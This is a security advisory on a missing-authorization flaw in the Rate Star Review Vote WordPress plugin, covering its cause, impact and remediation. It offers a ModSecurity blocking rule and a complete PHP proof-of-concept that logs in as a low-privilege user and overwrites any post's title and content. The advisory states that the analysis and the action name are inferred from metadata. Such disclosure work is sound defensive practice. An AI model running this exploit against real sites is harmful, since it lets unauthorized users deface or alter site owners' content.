Atomic Edge analysis of CVE-2026-4301 (metadata-based):
This vulnerability allows authenticated attackers with Subscriber-level access to modify arbitrary posts and pages on a WordPress site. The flaw exists in the Rate Star Review Vote plugin, version 1.6.4 and earlier. The affected component is the `vwrsr_review()` AJAX handler. The CVSS score is 4.3 (medium), reflecting the low integrity impact but requiring minimal access privileges.
Root Cause: The `vwrsr_review()` AJAX handler lacks authorization checks. Atomic Edge analysis infers that the plugin only verifies a user is logged in via `is_user_logged_in()` but does not implement capability checks or nonce verification. When the ‘form’ parameter equals ‘update’, the function accepts a ‘rating_id’ GET parameter containing an arbitrary post ID. It then passes this ID to `wp_update_post()` and `update_post_meta()`. This allows any authenticated user to modify post title, content, author, post type, and metadata. These conclusions are inferred from the CWE-862 classification and the provided description, as no source code diff is available.
Exploitation: An attacker can exploit this by sending a crafted POST request to `/wp-admin/admin-ajax.php` with the action parameter set to the plugin’s AJAX hook (likely `vwrsr_review` or similar), the ‘form’ parameter set to ‘update’, and the ‘rating_id’ parameter set to the target post ID. Additional POST parameters such as ‘title’, ‘content’, and ‘author’ can be included to overwrite the post’s contents. The attacker must be logged in with Subscriber-level privileges or higher.
Remediation: Based on the CWE, the plugin developers should implement proper capability checks using `current_user_can()` with appropriate capabilities like ‘edit_posts’ or ‘edit_others_posts’ before allowing post updates. Nonce verification should also be added using `wp_verify_nonce()` to prevent cross-site request forgery. Validation and sanitization of the ‘rating_id’ parameter should be enforced to ensure it only allows valid review post IDs belonging to the current user.
Impact: Successful exploitation allows an authenticated attacker to modify any post or page on the site. This includes changing title, content, author, post type, and metadata. The attacker can take over existing content, potentially inserting malicious content or altering critical information. The impact is limited to integrity, with no direct confidentiality or availability impact.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4301 (metadata-based)
# Blocks exploitation of missing authorization in Rate Star Review Vote AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20264301,phase:2,deny,status:403,chain,msg:'CVE-2026-4301 - Rate Star Review Vote Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-4301'"
SecRule ARGS_POST:action "@streq vwrsr_review" "chain"
SecRule ARGS_POST:form "@streq update" "chain"
SecRule ARGS_POST:rating_id "@rx ^[0-9]+$" ""
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4301 - Rate Star Review Vote <= 1.6.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Modification
<?php
// Configuration - set these values
$target_url = 'https://example.com'; // Change to target WordPress site
$username = 'attacker'; // WordPress username with Subscriber role or higher
$password = 'password';
$target_post_id = 1; // ID of the post/page to modify
// Login to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
curl_close($ch);
if (empty(curl_getinfo($ch, CURLINFO_HTTP_CODE)) || curl_getinfo($ch, CURLINFO_HTTP_CODE) != 200) {
die('Login failed');
}
// AJAX request to exploit the vulnerability
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
'action' => 'vwrsr_review', // Inferred AJAX action; adjust if needed
'form' => 'update',
'rating_id' => $target_post_id,
'title' => 'Hacked by Atomic Edge Research', // New title
'content' => 'This post was modified via CVE-2026-4301.', // New content
'author' => null // Optional: set to attacker's user ID if known
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "Exploit executed. Check post ID: " . $target_post_id;
} else {
echo "Exploit may have failed. HTTP code: " . $http_code;
}
// Clean up
unlink('/tmp/cookies.txt');
?>
